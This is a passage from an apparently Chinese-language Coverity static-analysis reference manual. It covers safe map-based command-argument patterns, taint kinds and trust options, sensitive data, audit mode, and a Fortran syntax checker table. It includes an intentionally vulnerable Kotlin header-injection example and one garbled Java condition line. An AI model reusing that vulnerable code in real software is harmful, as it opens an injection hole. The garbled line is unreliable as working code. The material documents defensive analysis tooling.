```

### CommandServlet.java

```
12 public class CommandServlet extends HttpServlet {
...
167 private void findFile(String fileName, PrintWriter out)
168 throws RuntimeException {
169
170 try {
171
172 String untaintedArg = CommandConstants.FIND_ARGS.get(fileName);
173 if (tainted commanduntaintedArg != null) {
174
175 String[] untaintedArray = new String[] {" /usr/bin/find", ".", "-name",
176 untaintedArg};
176 ProcessBuilder pb = new ProcessBuilder(untaintedArray);
177 Process proc = pb.start();
```

安全问题的发展：

- CommandConstants.java (14)：创建了从用户密钥到命令的映射。
- CommandServlet.java (167)：将被污染的值 fileName 传递给了方法。
- CommandServlet.java (172)：根据映射检查被污染的值。如果被污染的值等于密钥（例如 alllogs），则会返回常量值。
- CommandServlet.java (175)：静态数组中包含未被污染的值。
- CommandServlet.java (176)：将静态数组传递给了 ProcessBuilder(String...)。

### 6.6.3.7. 操作系统命令注入选项：Runtime.exec

下面的示例使用通过 Map 进行的间接引用为应用程序提供常量选项参数。

### CommandConstants.java

```
11 public class CommandConstants {
...
17 public static final Map<String, String> OPTIONS = initializeOptions();
...
60 private static Map<String, String> initializeOptions() {
61 Map<String, String> m = new HashMap<String, String>();
62 m.put("one", "/1");
63 m.put("error", "/PE");
64 // ...
```

```
65 return java.util.Collections.unmodifiableMap(m);
66 }
```

### CommandServlet.java

```
12 public class CommandServlet extends HttpServlet {
...
338 private void runCommandWithOption(String optionString, PrintWriter out)
339 throws RuntimeException {
340
341 try {
342
343 String untaintedOption = CommandConstants.OPTIONS.get(optionString);
344 if (untaintedOption != null) {
345
346 String[] untaintedArray = new String[] {"someCommand.exe",
347 untaintedOption, "/O", "output.txt"};
348
349 Process proc = Runtime.getRuntime().exec(untaintedArray);
350
351 }
352 } catch (IOException e) {
353 e.printStackTrace();
354 }
355 }
356 }
```

安全问题的发展：

- CommandConstants.java (17)：创建了从用户密钥到命令的映射。
- CommandServlet.java (338)：将被污染的值 optionString 传递给了方法。
- CommandServlet.java (343)：根据映射检查被污染的值。如果被污染的值等于密钥（例如 one），则会返回常量值。
- CommandServlet.java (346)：静态数组中包含未被污染的值。
- CommandServlet.java (348)：将静态数组传递给了 Runtime.exec(String[])。

### 6.6.3.8. 操作系统命令注入选项：ProcessBuilder

下面的示例使用通过 Map 进行的间接引用为应用程序提供常量选项参数。

### CommandConstants.java

```
11 public class CommandConstants {
...
17 public static final Map<String, String> OPTIONS = initializeOptions();
...
60 private static Map<String, String> initializeOptions() {
61 Map<String, String> m = new HashMap<String, String>();
62 m.put("one", "/1");
63 m.put("error", "/PE");
64 // ...
65 return java.util.Collections.unmodifiableMap(m);
66 }
}
```

### CommandServlet.java

```
12 public class CommandServlet extends HttpServlet {
...
371 private void runCommandWithOption(String optionString, PrintWriter out)
372 throws RuntimeException {
373
374 try {
375
376 String untaintedOption = CommandConstants.OPTIONS.get(optionString);
377 if (untaintedOption != null) {
378
379 String[] untaintedArray = new String[] {"someCommand.exe",
380 untaintedOption, "/O", "output.txt"};
381 ProcessBuilder pb = new ProcessBuilder(untaintedArray);
382 Process proc = pb.start();
383 }
384 } catch (IOException e) {
385 throw new RuntimeException(e);
386 }
387 out.println("Process started");
388 }
389 }
```

### 安全问题的发展：

- CommandConstants.java (17)：创建了从用户密钥到命令的映射。
- CommandServlet.java (371)：将被污染的值 optionString 传递给了方法。
- CommandServlet.java (376)：根据映射检查被污染的值。如果被污染的值等于密钥（例如 one），则会返回常量值。
- CommandServlet.java (379)：静态数组中包含未被污染的值。
- CommandServlet.java (381)：将静态数组传递给了 ProcessBuilder(String...)。

## 6.7. 安全命令

该安全分析流程包括使用一系列命令来设置和运行分析，然后将得到的问题报告推送（提交）至 Coverity Connect（您可以在其中查看和管理这些问题）。

### Java Web 应用程序安全分析

此流程需要使用一些与常规质量分析所用项不同的命令和选项。请参阅《Coverity Analysis 用户和管理员指南》中的 针对 Java Web 应用程序运行安全分析 [🔗](#)。请注意，您可以运行并行分析和增量分析，还可以为您的方法创建自定义模型。有关详情，请参阅 使用高级 Java 分析技巧 [🔗](#)。请注意，并行分析不能加快 Java 安全分析的速度，但如果同时还在运行非安全检查器（例如质量检查器），它可以提高整体分析的速度。

### C/C++ 安全分析

此流程与 C/C++ 质量分析相同。请参阅《Coverity Analysis 用户和管理员指南 [🔗](#)》获得指导。链接至外部文档

以下命令通常被用作安全分析流程的一部分。请参阅《Coverity Analysis 用户和管理员指南 [🔗](#)》获得完整的命令列表。链接至外部文档

- cov-analyze [↗](#)
- cov-build [↗](#)
- cov-commit-defects [↗](#)
- cov-configure [↗](#)
- cov-emit-java [↗](#)
- cov-make-library [↗](#)

### 6.7.1. C/C++ 命令

- cov-analyze [↗](#)
- cov-emit [↗](#) (通常不需要手动执行) 链接至外部文档

## 6.8. 被污染的数据概述

### 6.8.1. 被污染的数据概念

某些类型的数据可能在程序使用时会产生危险，并导致系统崩溃、损坏、特权升级或服务拒绝。如果数据通过筛选器或净化器 (Sanitizer) 传递，则可以安全使用。寻找此类问题的安全检查器将潜在的危险数据识别为被污染的数据。被污染的数据可能来自多种不同的来源，例如用户输入、网络连接以及文件系统或数据库。

根据数据的来源，被污染的数据具有特定的污染类型：文件系统、网络等。被污染的数据检查器可以配置为仅不信任某些污染类型，并信任其他污染类型。例如，通过不信任网络污染类型可以将网络连接视为危险，而通过信任文件系统污染类型可以将文件系统内容视为安全。

为了获得最佳结果，我们的检查器的默认配置将信任某些在实践中不太可能危险的污染类型。通过更改分析设置，可以将检查器的默认信任模型更改为信任或不信任特定的污染类型，既可以对所有被污染的数据检查器进行全局更改，也可以通过影响特定检查器的检查器选项更改。

另一个独立主题是敏感数据，它涉及的数据应该作为机密进行管理，但不一定是危险的，例如个人、商业和机密信息。数据可以被视为敏感数据，与是否视为被污染无关。检查器通常只关注这两个方面之一，而忽略另一个方面。有关敏感数据的详细信息，请参阅 Section 6.9，“敏感数据概述”

### 6.8.2. 污染示例

让我们看 HEADER\_INJECTION 检查器。在本例中，攻击者如果可以控制“saved-extra-headers.txt”文件的内容，就可以控制发送到服务器的请求的 HTTP 头文件。在本例中，被污染的数据具有污染类型文件系统。默认配置下，HEADER\_INJECTION 检查器信任这种污染类型，因此不会报告此问题。要报告此缺陷，可以通过使用以下选项运行 cov-analyze，将 HEADER\_INJECTION 信任模型更改为不信任文件系统污染类型：--checker-option HEADER\_INJECTION:trust\_filesystem:false。

另一种方法是使用以下选项运行 cov-analyze：--distrust\_filesystem

```
class Test : Activity() {
 fun loadFunPage(context: Context, webView: WebView, additionalHeaders:
 MutableMap<String, String>) {
 val file = File(context.getExternalFilesDir(null), "saved-extra-headers.txt")
 val content = file.readText()

 for (pair in content.split(",")) {
 val (key, value) = pair.split("=")
 additionalHeaders[key] = value
 }

 webView.loadUrl("www.fun.com", additionalHeaders)
 }
}
```

### 6.8.3. 污染类型信任选项

Coverity 检查器使用的默认信任模型旨在通过避免误报来获得最佳结果。但是，您可以自定义模型来满足您的需要，并将重点放在您希望信任或不信任的被污染数据的类型上。这将允许您微调结果。

cov-analyze 和 cov-run-desktop 提供了几种不同类型的用于自定义信任模型的选项。例如，要影响 HEADER\_INJECTION 检查器下的“cookie”污染类型，可以使用：

- --trust-all 或者 --distrust-all ( 影响所有检查器的所有污染类型 )
- --trust-cookie 或者 --distrust-cookie ( 影响所有检查器的“cookie”污染类型 )
- --checker-option HEADER\_INJECTION:trust\_cookie:true ( 信任 HEADER\_INJECTION 的“cookie”污染类型，如果还指定了 --distrust-cookie 或 --distrust-all，则覆盖 )
- --checker-option HEADER\_INJECTION:trust\_cookie:false ( 不信任 HEADER\_INJECTION 的“cookie”污染类型，如果还指定了 --trust-cookie 或 --trust-all，则覆盖 )

安全分析工具基准测试通常认为每一种被污染的数据都应该不被信任。在此情况下，请使用 --distrust-all cov-analyze 选项不信任所有污染类型。(另请注意，--webapp-security-aggressiveness-level high 选项包括 --distrust-all 的效果)。

请参见各个检查器或 Chapter 3, , 了解检查器特定的选项、默认值和语言。

### 6.8.4. 污染类型组

污染类型可以分为几个类别：服务器端、基于 Web 浏览器和移动。被污染的数据检查器并不总是关注所有类别的污染类型。例如，ANGULAR\_EXPRESSION\_INJECTION 检查器可报告使用不可信任的值作为 AngularJS 表达式一部分的代码中的缺陷。它仅关注基于 Web 浏览器的污染类型和移动污染类型，而不关注服务器端污染类型。

### 6.8.5. 污染源建模

被污染数据的程序来源可以用两种方式表示：

- 请参阅第 5 章模型、注解和原语，了解如何使用模型指示被污染数据的来源。
- 在《安全指令说明书》中，以下部分提供了有关定位受污染源的信息：
  - “指令的使用”
  - “method\_returns\_tainted\_data”
  - “tainted\_data”

有关使用指令的概述，请参阅Section 1.3.2.4, “安全分析指令 (JSON)”。

#### 6.8.6. 被污染数据的类型

有三种与污染类型相关的类别：

- 服务器端应用程序
- 基于 Web 浏览器的应用程序
- 移动应用程序

有关每种被污染数据的类型的示例，请参阅《命令说明书》、cov-analyze 命令、Web 和移动应用程序安全部分、`--distrust-<taintkindname>`。

Table 6.1. 服务器端应用程序污染类型

服务器端应用程序	以下污染类型与服务器端 Web 应用程序以及其他服务器端应用程序相关
cookie	来自 HTTP cookie 的数据。
command_line	来自命令行的数据。
console	来自控制台的数据。
database	来自数据库的数据。
environment	来自环境变量的数据。
filesystem	从文件中读取的数据。
http	来自传入 HTTP 请求的数据。
http_header	来自 HTTP 头文件的数据。
network	来自网络连接的数据。这不包括来自传入 HTTP 请求或远程过程调用的数据。
rpc	从远程过程调用 (RPC) 返回的数据。
system_properties	关于系统属性的数据。

Table 6.2. 基于 Web 浏览器的应用程序污染类型

基于 Web 浏览器的应用程序	以下污染类型与客户端 JavaScript 代码（即在 Web 浏览器中运行的 JavaScript）相关
js_client_cookie	来自 JavaScript document.cookie 的数据。

基于 Web 浏览器的应用程序	以下污染类型与客户端 JavaScript 代码（即在 Web 浏览器中运行的 JavaScript）相关
js_client_external	来自 XMLHttpRequest 或类似项的响应的数据。
js_client_html_element	来自 HTML 元素（例如文本区和输入元素）上用户输入的数据。
js_client_http_referer	来自“referer”HTTP 头文件的数据（来自 document.referrer）。
js_client_http_header	来自 XMLHttpRequest 或类似项的响应的 HTTP 响应头文件的数据。
js_client_other_origin	来自其他框架中的内容或来自其他源（例如来自 window.name）的数据。
js_client_url_query_or_fragment	来自 URL 查询或片段部分（例如 location.hash 或 location.query）的数据。

Table 6.3. 移动应用程序污染类型

移动应用程序	以下污染类型与移动应用程序相关：
mobile_other_app	从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。
mobile_other_privileged_app	从需要获取权限才能与当前应用程序组件通信的任何移动应用程序收到的数据。
mobile_same_app	从同一移动应用程序收到的数据。
mobile_user_input	从移动应用程序的用户输入中获取的数据。

## 6.9. 敏感数据概述

### 6.9.1. 敏感数据概念

许多 Web 应用程序和 API 没有正确地保护敏感数据，例如金融、医疗和个人身份信息 (PII)。攻击者可能窃取或修改这些保护薄弱的数据，以进行信用卡欺诈、身份盗窃或其他犯罪。敏感数据在没有额外保护（例如在静态或传输时进行加密）的情况下可能遭到窃取，并且在与浏览器交换信息时需要采取特殊保护措施。

SENSITIVE\_DATA\_LEAK、UNENCRYPTED\_SENSITIVE\_DATA 和 WEAK\_PASSWORD\_HASH 等检查器关注的是识别敏感数据的来源和数据的使用方式。

敏感数据有许多不同的类别，这可能是决定程序应如何处理敏感数据的一个因素。

有关敏感数据类型和敏感数据源建模的更多信息，请参阅 Table 4.6，“敏感数据源类型”。

另一个独立主题被污染的数据处理被攻击者控制的数据。关注敏感数据的检查器不处理信任/不信任被污染的数据，反之，关注不可信被污染的数据的检查器不受数据敏感性的影响（请参阅 Section 6.8，“被污染的数据概述”）。

## 6.10. 审计模式

Coverity 检查器通常在 Coverity 检测到应该由开发人员修复和处理的漏洞时报告问题。然而，如果没有足够的证据表明确实存在漏洞，那么这种情况也可能与应用程序安全有关，这样的情况可能不一定需要开发人员采取行动，但很可能适合安全审计员将其纳入对应用程序的审查中。

审计模式会报告此类情况。它考虑了可能是漏洞利用的一部分的数据源和代码模式，但是其中实际存在漏洞的证据不完整。审计结果的示例可能包括以下情况：

- 问题的可利用性取决于无法从源代码中获悉的环境或运行时详细信息。
- Coverity 可识别超出其分析能力的代码构造。
- 数据是从外部源获取的，但在典型应用程序中不会被怀疑。
- 已经违反了最佳做法。

审计模式结果的影响被报告为审计。相对于其他影响级别，应将审计视为要解决的优先级最低的问题。最好只在由安全团队而非开发团队审查的结果或报告中包含审计问题。

审计模式可用于扫描 C#、Java、JavaScript 和 TypeScript 源代码。

在启用审计模式之前，请注意以下问题：

- 相比其他类型的分析，审计模式分析通常会报告更多的缺陷且具有更高的误报率。
- 审计模式分析除了（而不是代替）通常的高优先级缺陷之外，还会产生审计缺陷。
- 包括审计模式分析的扫描所需的完成时间将显著延长：它会分析出现在源代码中的所有函数，而不仅仅是出现在调用树中的函数。

审计模式分析有两个组成部分：

- 只报告其影响为审计的问题的其他检查器。

默认禁用这些检查器。通过使用 cov-analyze 选项 `--enable-audit-checkers` 一次性启用所有这些检查器。

- 对于所有检查器，降低报告可能的污染源、数据流问题和攻击行为的阈值。

通过使用 cov-analyze 选项 `--enable-audit-dataflow` 启用此审计分析模式。

 Tip

`--enable-audit-checkers` 选项通常比 `--enable-audit-dataflow` 产生更好的结果。请先尝试它。

 Note

另一个 cov-analyze 选项 `--enable-audit-mode` 相当于同时启用 `--enable-audit-checkers` 和 `--enable-audit-dataflow`。我们不建议使用此选项。

### 6.10.1. 审计模式和 Coverity Connect

在 Connect 源代码视图中，审计缺陷项有一个标签，写着“*This is a security audit finding.*”（这是安全审计结果。）。在主事件的位置，审计条目由橙色三角形（而不是红色菱形）图标指示。审计问题与较高级别的缺陷一起显示：它们不会与非审计项合并在同一个关键字下。审计模式缺陷可以使用 `Impact=Audit` 进行选择和排序，其类别为 `Audit impact security`。

## 安全说明书

---

可以在自定义问题分类映射和 Coverity Connect - Bugzilla 项目映射中使用审计模式。

## Chapter 7. Coverity Fortran Syntax Analysis 检查器说明书

Coverity Fortran Syntax Analysis 对配置的编译器和选定的语言标准模拟 Fortran 语言语法分析。它报告与配置的编译器将接受的语言的偏差，包括未实现的语言扩展和根据所选语言标准被弃用或删除的语法。

除了语法检查，Coverity Fortran Syntax Analysis 还执行本地和全局静态一致性检查。这些检查包括类型和签名验证。还执行静态边界检查和一些数据有效性检查。数据有效性检查以语句执行的词法顺序为基础，因此在存在循环和其他向后跳转时，可能发生误报消息。

语法分析包括 800 多个不同的检查器，其中每一个检查器都查找特定的语法错误或编码缺陷。下面以表格形式列出了这些检查器。

Table 7.1. Coverity Fortran Syntax Analysis 检查器 (40-199)

名称	类别	说明
FC.040	语法错误	“;”不能是一行中的第一个非空格字符
FC.041	语法错误	无效行
FC.042	语法错误	第一行不能是连续行
FC.043	语法错误	连续行前面有无效字符
FC.044	可移植性	INCLUDE 行后的第一行不能是连续行
FC.045	可移植性	连续行太多
FC.046	语法错误	语句结尾处有无法识别的字符
FC.047	可移植性	语句字段为空，假定为 CONTINUE
FC.048	语法错误	语句标签字段中有无效字符
FC.049	可移植性	连续字符不在 Fortran 字符集中
FC.050	可移植性	使用了小写字符
FC.051	可移植性	使用了非标准 Fortran 注释
FC.052	可移植性	使用了条件编译或 D_line
FC.053	可移植性	使用了制表符
FC.054	可移植性	使用了换页符
FC.055	可移植性	使用了 include 行
FC.056	语法错误	不平衡的分隔符
FC.057	语法错误	无效文件名规范
FC.058	未使用的实体	include 文件中声明的实体未被使用
FC.059	可移植性	字符常数被分割在多行中
FC.060	非标准语法	使用了固定的源形式

名称	类别	说明
FC.061	信息	在程序单元中未发现语句
FC.062	可移植性	缺少连续字符
FC.063	信息	编译器指令后有无法识别的字符
FC.064	可移植性	源行中的字符太多
FC.065	信息	连续字符常数有多个前导空格
FC.066	信息	语句中有注释行
FC.069	语法错误	无法识别的语句
FC.070	信息	含糊语句假定类型语句
FC.071	可移植性	非标准 Fortran 语句
FC.072	语法错误	MAIN 中不允许有语句
FC.073	语法错误	BLOCKDATA 中不允许有语句
FC.074	语法错误	( 子 ) 模块的规范部分中不允许有语句
FC.075	语法错误	此语句只能在构造中使用
FC.076	语法错误	此语句只能在循环构造中使用
FC.077	语法错误	此上下文中不允许有语句
FC.078	语法错误	语句次序颠倒
FC.079	语法错误	类型规范次序颠倒
FC.080	可移植性	非 DATA 规范语句必须先于 DATA 语句
FC.081	语法错误	未指定形状 , 或语句函数次序颠倒
FC.082	语法错误	此语句不能有前缀
FC.083	语法错误	预期为内部或模块过程
FC.084	无用代码	没有此语句的路径
FC.085	语法错误	过程 END 缺失
FC.086	语法错误	程序单元 END 缺失
FC.087	语法错误	非匹配程序单元或 END 中有子程序类型
FC.088	语法错误	END 中有非匹配名称
FC.089	语法错误	缺少分隔符
FC.090	语法错误	不匹配的圆括号
FC.091	语法错误	缺少圆括号
FC.092	语法错误	预期为 ")"
FC.093	语法错误	预期为 "/"

名称	类别	说明
FC.094	语法错误	语法错误
FC.095	可移植性	非标准 Fortran 语法
FC.096	可移植性	过时的 Fortran 功能
FC.097	可移植性	STRUCTURE 中有 PARAMETER 语句
FC.098	可移植性	已删除的 Fortran 功能
FC.099	可移植性	可执行语句中间有 DATA 语句
FC.100	语法错误	纯过程中不允许有语句
FC.101	语法错误	接口块中不允许有语句
FC.102	语法错误	仅接口块中允许有语句
FC.103	语法错误	仅(子)模块的规范部分中允许有语句
FC.104	语法错误	仅接口块或子程序的规范部分中允许有语句
FC.105	语法错误	BLOCK 构造中不允许有语句
FC.106	语法错误	词汇标识符包含空格
FC.107	语法错误	自由源形式中需要空格
FC.108	可移植性	使用空格来分隔此标识符
FC.109	信息	词汇标识符包含无意义空格
FC.110	可移植性	名称或运算符太长
FC.111	语法错误	运算符名称必须仅包含字母
FC.112	可移植性	如果名称被截断为六个字符，则不唯一
FC.113	语法错误	无效名称
FC.114	语法错误	语法标签太长
FC.115	多次声明实体	多次定义了语句标签，此次定义被忽略
FC.116	错误地使用实体	语句标签已被使用
FC.117	错误地使用实体	语句标签类型冲突
FC.118	错误地使用实体	无效引用
FC.119	错误地使用实体	无效引用
FC.120	代码改进	引用自外部入口块
FC.121	语法错误	语句标签无效
FC.122	语法错误	格式语句标签缺失
FC.123	未定义的实体	未定义的语句标签

名称	类别	说明
FC.124	未使用的实体	语句标签未引用
FC.125	未使用的实体	格式语句未引用
FC.134	语法错误	缺少单引号或引号
FC.135	语法错误	零长度字符常数
FC.136	语法错误	无效二进制、八进制或十六进制常数
FC.137	语法错误	该指数不允许实常数的种类参数
FC.138	语法错误	无效复合常数
FC.139	语法错误	无效 Hollerith 或 Radix 常数
FC.140	语法错误	缺少要在 C 字符串中转义的字符
FC.141	错误地使用实体	无效地使用了已命名常数
FC.142	语法错误	预期为实常数或整数常数
FC.143	可移植性	字符长度太长
FC.144	语法错误	数字太大
FC.145	隐式类型转换	将标量隐式转换为复合
FC.146	语法错误	预期为无符号非零整数
FC.147	语法错误	预期为无符号整数
FC.148	语法错误	预期为正整数
FC.149	语法错误	对于该类型整数太大
FC.150	语法错误	整数大于默认值
FC.151	语法错误	无效或无法识别的属性
FC.152	多余规范	PRIVATE 已是默认值
FC.153	多余规范	PUBLIC 已是默认值
FC.154	语法错误	已使用隐式类型；类型声明必须确认此类型
FC.155	语法错误	与通用名称冲突
FC.156	语法错误	与继承类型名称冲突
FC.157	语法错误	无效使用了下标或子字符串
FC.158	语法错误	已指定 PUBLIC
FC.159	语法错误	名称已被使用
FC.160	错误地使用实体	无效地使用了变量
FC.161	语法错误	预期为标量变量名称
FC.162	语法错误	预期为已命名标量
FC.163	语法错误	不允许使用数组

名称	类别	说明
FC.164	语法错误	缺少数组或形状规范
FC.165	语法错误	无效形状规范
FC.166	语法错误	缺少数组下标
FC.167	语法错误	无效使用了下标或边界
FC.168	语法错误	无效数量的下标或边界
FC.169	语法错误	无效形状边界
FC.170	语法错误	形状规范次序颠倒
FC.171	语法错误	多个形状规范
FC.172	语法错误	无效数组或集合数组规范
FC.173	语法错误	无效使用了假定大小的数组规范
FC.174	语法错误	无效使用了假定大小的数组名称
FC.175	语法错误	无效使用了可调整数组维度
FC.176	语法错误	无效地用于了可调整或自动数组声明
FC.177	语法错误	不允许使用待定或假定形状数组规范
FC.178	语法错误	需要待定形状数组规范
FC.179	语法错误	需要显式形状数组规范
FC.180	语法错误	无效使用了自动数组规范
FC.181	语法错误	无效使用了假定的长度
FC.182	语法错误	无效使用了可调整长度规范
FC.183	语法错误	无效长度或种类规范，假定为默认
FC.184	语法错误	多个属性规范
FC.185	语法错误	无效属性组合
FC.186	语法错误	此上下文中不允许有属性
FC.187	语法错误	(重) 定义类型或属性无效
FC.188	语法错误	仅虚拟参数允许使用 OPTIONAL 和 INTENT
FC.189	语法错误	已指定 PRIVATE
FC.190	语法错误	此类型不允许使用类型参数
FC.191	语法错误	无效类型参数规范
FC.192	语法错误	无效使用了类型参数
FC.193	多余规范	已在主机上下文中指定
FC.194	不受支持	不受支持的类型长度，假定为默认

名称	类别	说明
FC.195	语法错误	无效指定了类型长度
FC.196	语法错误	仅在类型规范的归属形式中允许初始化
FC.197	语法错误	已命名常数不能有 POINTER、TARGET 或 BIND 属性
FC.198	语法错误	预期为常数
FC.199	语法错误	缺少圆括号

Table 7.2. Coverity Fortran Syntax Analysis 检查器 (200-399)

名称	类别	说明
FC.200	语法错误	常数表达式缺失
FC.201	语法错误	实体必须已在前面显式声明
FC.202	多次声明实体	多个类型规范，这个被忽略
FC.203	语法错误	无效键入了名称
FC.204	语法错误	隐式类型已被使用，更改序列
FC.205	语法错误	隐式属性已被使用，语句次序颠倒
FC.206	语法错误	无效隐式范围
FC.207	语法错误	多个隐式类型声明，这个被忽略
FC.208	代码改进	名称未显式分类，假定为隐式类型
FC.209	信息	与 IMPLICIT NONE 规范或 DECLARE 选项冲突
FC.210	语法错误	已为此实体指定 SAVE
FC.211	语法错误	不能同时指定 SAVE 和 AUTOMATIC
FC.212	语法错误	保存此实体无效
FC.213	语法错误	指定了 SAVE 或 BIND，但未声明 实体
FC.214	语法错误	未保存
FC.215	语法错误	已指定自动、静态或可分配
FC.216	语法错误	无效指定了自动、静态或可分配
FC.217	语法错误	与程序单元或 ENTRY 名称冲突
FC.218	语法错误	与公用块名称冲突
FC.219	语法错误	在 COMMON、EQUIVALENCE 或 NAMELIST 中无效

名称	类别	说明
FC.220	语法错误	在 DATA 或类型语句中，实体初始化无效
FC.221	语法错误	在 BLOCKDATA 中存在多处
FC.222	语法错误	在 COMMON BLOCK 中混合使用了字符和数字类型
FC.223	语法错误	应在 BLOCKDATA 中初始化已命名 COMMON
FC.224	语法错误	在空 COMMON 中初始化变量无效
FC.225	语法错误	在 COMMON 中存在多处
FC.226	可移植性	对象不是按类型大小的降序排列
FC.227	代码改进	扩展 COMMON
FC.228	代码改进	公用块的大小与第一个声明不一致
FC.229	代码改进	COMMON 中的类型与第一个声明不一致
FC.230	代码改进	已命名 COMMON 中的对象列表与第一个声明不一致
FC.231	代码改进	数组边界与第一次出现时不同
FC.232	代码改进	仅指定了一次
FC.233	代码改进	include 文件中不一致地包含了公用块
FC.234	语法错误	与 COMMON 中的对象等价无效
FC.235	语法错误	与其本身的变量等价
FC.236	语法错误	由于多次等价，存储分配冲突
FC.237	可移植性	与可能具有不同类型长度的数组等价
FC.238	语法错误	对象与指针组件的存储关联无效
FC.239	语法错误	COMMON 至 EQUIVALENCE 的扩展无效
FC.240	代码改进	扩展 COMMON 至 EQUIVALENCE
FC.241	代码改进	在 EQUIVALENCE 中非标准混合类型
FC.242	语法错误	常数多于变量
FC.243	语法错误	变量多于常数
FC.244	语法错误	在 DATA 或类型语句中，初始化了多个

名称	类别	说明
FC.245	语法错误	不允许表达式
FC.247	代码改进	假定长度字符函数已过时
FC.248	代码改进	对象已被使用，更改语句序列
FC.249	代码改进	空 COMMON 中的对象列表与第一个声明不一致
FC.250	代码改进	引用模块时，隐式类型是潜在风险
FC.251	语法错误	在此范围单元内，已为每个实体指定 SAVE
FC.252	语法错误	私有对象不能放置在公共名单组中
FC.253	可移植性	公用块数据不保留：在根中指定或保存它
FC.254	可移植性	公共模块数据不保留：在根中指定或保存它
FC.255	未声明的实体	继承类型或结构未定义
FC.256	语法错误	继承类型或结构定义中的语句无效
FC.257	语法错误	继承类型或结构名称缺失
FC.258	语法错误	无效结构嵌套
FC.259	语法错误	缺少 END TYPE 或 END STRUCTURE
FC.260	语法错误	缺少 END UNION
FC.261	语法错误	缺少 END MAP
FC.262	语法错误	无效使用了记录或聚合字段名称
FC.263	语法错误	组件或字段名称缺失
FC.264	未声明的实体	未知组件、字段名称或类型参数
FC.265	语法错误	继承类型必须为序列类型
FC.266	语法错误	继承类型或组件必须为 PRIVATE
FC.267	语法错误	结构定义中未指定字段
FC.268	语法错误	结构构造函数中具有错误数量的组件规范
FC.269	语法错误	格式错误的结构组件
FC.270	语法错误	继承类型组件或绑定不可访问
FC.271	语法错误	继承类型不可访问
FC.272	语法错误	PRIVATE 类型的对象不能为 PUBLIC
FC.273	语法错误	无效使用了结构组件或类型参数

名称	类别	说明
FC.274	语法错误	不允许初始化组件或字段
FC.275	语法错误	继承类型的对象必须为序列或具有 BIND 属性
FC.276	代码改进	继承类型或结构与 include 文件中所包括的不一致
FC.277	语法错误	组件必须可分配
FC.279	语法错误	无效使用了继承类型名称
FC.280	语法错误	无类型参数，或不可访问组件
FC.281	未声明的实体	未知类型边界过程
FC.282	语法错误	父类型必须可扩展
FC.283	语法错误	无效的运算符序列
FC.284	错误地使用实体	未分配
FC.285	错误表达式	预期为标量整数常数表达式
FC.286	未定义的实体	通过 ENTRY 输入时未定义，指定 SAVE 以保留数据
FC.287	语法错误	预期为标量整数常数名称
FC.288	语法错误	预期为标量整数变量名称
FC.289	语法错误	预期为标量整数变量
FC.290	语法错误	预期为常数或标量整数变量
FC.291	语法错误	预期为无符号非零整数
FC.292	错误表达式	预期为表达式
FC.293	错误表达式	预期为常数表达式
FC.294	错误表达式	预期为整数表达式
FC.295	语法错误	预期为标量整数或实变量
FC.296	错误表达式	预期为 NULL() 或目标
FC.297	错误表达式	预期为整数、逻辑或字符表达式
FC.298	错误表达式	预期为整数或字符表达式
FC.299	错误表达式	预期为逻辑表达式
FC.300	错误表达式	预期为字符常数或无符号整数常数
FC.301	错误表达式	预期为字符表达式
FC.302	错误表达式	在此上下文中，字符串大小不能为零
FC.303	错误表达式	预期为标量逻辑表达式
FC.304	错误表达式	预期为标量整数表达式
FC.305	错误表达式	预期为标量整数或实表达式

名称	类别	说明
FC.306	错误表达式	预期为数组
FC.307	未定义的实体	变量未定义
FC.308	未定义的实体	未为此变量赋予语句标签
FC.309	未定义的实体	可能未为此变量赋予语句标签
FC.310	代码改进	标签赋值给了 COMMON 中的虚拟参数或变量
FC.311	代码改进	为此变量同时赋予了数字值和标签
FC.312	未定义的实体	未为此变量赋值
FC.313	未定义的实体	可能未为此变量赋值
FC.314	信息	可能更改初始值
FC.315	信息	在重新引用前进行了重新定义
FC.316	代码改进	未在本地定义，在模块中指定 SAVE 以保留数据
FC.317	错误地使用实体	从多个模块中导入了实体：请勿使用
FC.318	错误地使用实体	未分配
FC.319	代码改进	未在本地分配，在模块中指定 SAVE 以保留数据
FC.320	未定义的实体	指针未关联
FC.321	未定义的实体	指针未关联
FC.322	未定义的实体	目标未与指针关联
FC.323	未使用的实体	变量未引用
FC.324	未使用的实体	变量未引用为语句标签
FC.325	未使用的实体	输入变量未引用
FC.326	未使用的实体	在 include 文件中声明的实体未使用
FC.327	语法错误	下标超出范围
FC.328	信息	数组、数组范围或字符变量的大小为零
FC.329	语法错误	子字符串表达式超出范围
FC.330	语法错误	无效子字符串
FC.331	语法错误	无效地使用了子字符串
FC.332	语法错误	定义了引用的字符元素
FC.333	错误表达式	除以零
FC.334	错误表达式	无效权力执行

名称	类别	说明
FC.335	错误表达式	类型不一致
FC.336	错误表达式	在无效上下文中使用了无类型数据
FC.337	非最佳类型转换	隐式转换为较短类型
FC.338	信息	字符变量填充有空格
FC.339	错误表达式	表达式中的整数溢出
FC.340	代码改进	浮点数据的等式或不等式比较
FC.341	代码改进	浮点数据与整数的等式或不等式比较
FC.342	代码改进	浮点数据与零常数的等式或不等式比较
FC.343	隐式类型转换	符合到标量的隐式转换
FC.344	隐式类型转换	将常数(表达式)隐式转换为更高精度
FC.345	非最佳类型转换	隐式转换为较低精度类型
FC.346	隐式类型转换	将整数隐式转换为实数
FC.347	非最佳类型转换	非最佳显式类型转换
FC.348	错误表达式	无效使用了逻辑运算符
FC.349	错误表达式	无效使用了关系运算符
FC.350	错误表达式	无效混合了模式表达式
FC.351	错误表达式	无效使用了运算符
FC.352	非标准语法	非标准运算符
FC.353	错误表达式	未定义的运算符
FC.354	错误表达式	与假定长度的字符变量的连接无效
FC.355	错误表达式	数组区段规范对假定形状数组无效
FC.356	错误表达式	错误地指定了数组区段
FC.357	错误表达式	此上下文中不允许有数组区段
FC.358	错误表达式	无效跨距
FC.359	错误表达式	数组有无效排名
FC.360	错误表达式	数组构造函数中的每个元素都必须具有相同的声明类型
FC.361	错误表达式	数组构造函数中的每个元素都必须具有相同的类型长度
FC.362	错误表达式	此上下文中不允许有向量值下标
FC.363	错误表达式	数组不符合表达式、其他参数或目标

名称	类别	说明
FC.364	错误表达式	数组不一致
FC.365	错误地使用实体	仅 nonproc.pointers 和可分配变量可以被（解除）分配
FC.366	语法错误	此上下文中不允许有定义的赋值
FC.367	语法错误	预期为指针赋值
FC.368	语法错误	无效使用了指针赋值
FC.369	语法错误	指针赋值无效
FC.370	语法错误	无效的数据指针目标
FC.371	语法错误	仅可以作废指针
FC.372	语法错误	目标必须与指针具有相同的排名
